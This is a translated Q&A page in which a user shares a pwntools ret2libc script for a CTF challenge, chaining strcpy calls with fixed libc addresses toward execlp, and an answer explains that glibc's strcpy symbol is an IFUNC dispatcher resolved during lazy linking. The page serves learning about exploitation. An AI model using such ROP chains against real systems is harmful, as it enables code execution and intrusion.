ret2libc strcpy 不完整

问题描述 投票:0回答:1

我正在尝试解决 CTF 挑战,其中我需要使用 ret2libc。问题是,当我尝试使用 strcpy 将一些文本放入缓冲区供以后使用时,它似乎不起作用。 挑战框仍然容易受到“ulimit -s unlimited”的影响,因此我们可以修复 libc 地址。这是我当前的 python 代码:

from pwn import *

def r2lc_print(write_buff,read_buff):
  strcpy_addr=0x55607a40
  pop2ret=0x55643876
  return p32(strcpy_addr)+p32(pop2ret)+p32(write_buff)+p32(read_buff)

buffer_size=172
execlp_addr=0x55643970

c00_str_addr=0x55575d37
a00_str_addr=0x55575d5e
t00_str_addr=0x55575440
write_buff=0x55576858

print cyclic(buffer_size)+r2lc_print(write_buff,c00_str_addr)+r2lc_print(write_buff,a00_str_addr)+r2lc_print(write_buff,t00_str_addr)+"A"*4

我通过在gdb内发出“p strcpy”获得了strcpy地址。

问题是 strcpy 似乎并不完整,因为指令或调用都没有进行任何数据移动:

   0x55608320 <strncpy>:        push   ebx
   0x55608321 <strncpy+1>:      call   0x556b5c63
   0x55608326 <strncpy+6>:      add    ebx,0x127cce
   0x5560832c <strncpy+12>:     cmp    DWORD PTR [ebx+0x368c],0x0
   0x55608333 <strncpy+19>:     jne    0x5560833a <strncpy+26>
   0x55608335 <strncpy+21>:     call   0x555a48b0
   0x5560833a <strncpy+26>:     lea    eax,[ebx-0x120e54]
   0x55608340 <strncpy+32>:     test   DWORD PTR [ebx+0x36a0],0x4000000
   0x5560834a <strncpy+42>:     je     0x55608370 <strncpy+80>
   0x5560834c <strncpy+44>:     lea    eax,[ebx-0x117f14]
   0x55608352 <strncpy+50>:     test   DWORD PTR [ebx+0x36bc],0x10
   0x5560835c <strncpy+60>:     jne    0x55608370 <strncpy+80>
   0x5560835e <strncpy+62>:     test   DWORD PTR [ebx+0x369c],0x200
   0x55608368 <strncpy+72>:     je     0x55608370 <strncpy+80>
   0x5560836a <strncpy+74>:     lea    eax,[ebx-0x11f554]
   0x55608370 <strncpy+80>:     pop    ebx
   0x55608371 <strncpy+81>:     ret
python assembly exploit
1个回答
0
投票

认为你在glibc的

strncpy
符号中看到的代码在惰性动态链接期间进行运行时CPU调度。 看起来就像
sysdeps/i386/i686/multiarch/strcpy.S
中的asm。 该文件被多次构建(通过 #include 到其他文件中),并将 STRCPY 宏定义为 strcpy、strncpy 以及其他文件。

我认为它只是返回应该使用的 str[n]cpy 版本的函数指针,调用它的动态链接器代码将该指针存储到 PLT 中,然后调用它。


如果您编译一个调用 strncpy 两次的小型 C 程序,则可以单步执行第二次调用,并且惰性动态链接已经完成。

#include <string.h>
int main(int argc, char**argv) {
        strncpy(argv[0], argv[1], 5);
        strncpy(argv[1], argv[2], 5);
}

使用

gcc -m32 -Og foo.c -g
进行编译。

根据 gdb 的说法,在 Ubuntu 15.10 的 libc-2.21.0.so 中,PLT 跳转会将您带到任何符号之外的函数。 (我将

set disassembly-flavor intel
layout reg
放入我的
~/.gdbinit
中以获取 TUI 寄存器和 asm“windows”。)

  >|0xf7e68fa0      push   ebx                           |
   |0xf7e68fa1      mov    edx,DWORD PTR [esp+0x8]       |
   |0xf7e68fa5      mov    ecx,DWORD PTR [esp+0xc]       |
   |0xf7e68fa9      mov    ebx,DWORD PTR [esp+0x10]      |
   |0xf7e68fad      cmp    ebx,0x8                       |
   |0xf7e68fb0      jbe    0xf7e6ba40                    |
   |0xf7e68fb6      cmp    BYTE PTR [ecx],0x0            |
   |0xf7e68fb9      je     0xf7e6aef0                    |
   |0xf7e68fbf      cmp    BYTE PTR [ecx+0x1],0x0        |
   |0xf7e68fc3      je     0xf7e6af10                    |

...最终是 movaps / pcmpeqb / pmovmskb 循环。 这个函数是真正的 strncpy 实现,并且不会分派到其他任何东西。

© www.soinside.com 2019 - 2024. All rights reserved.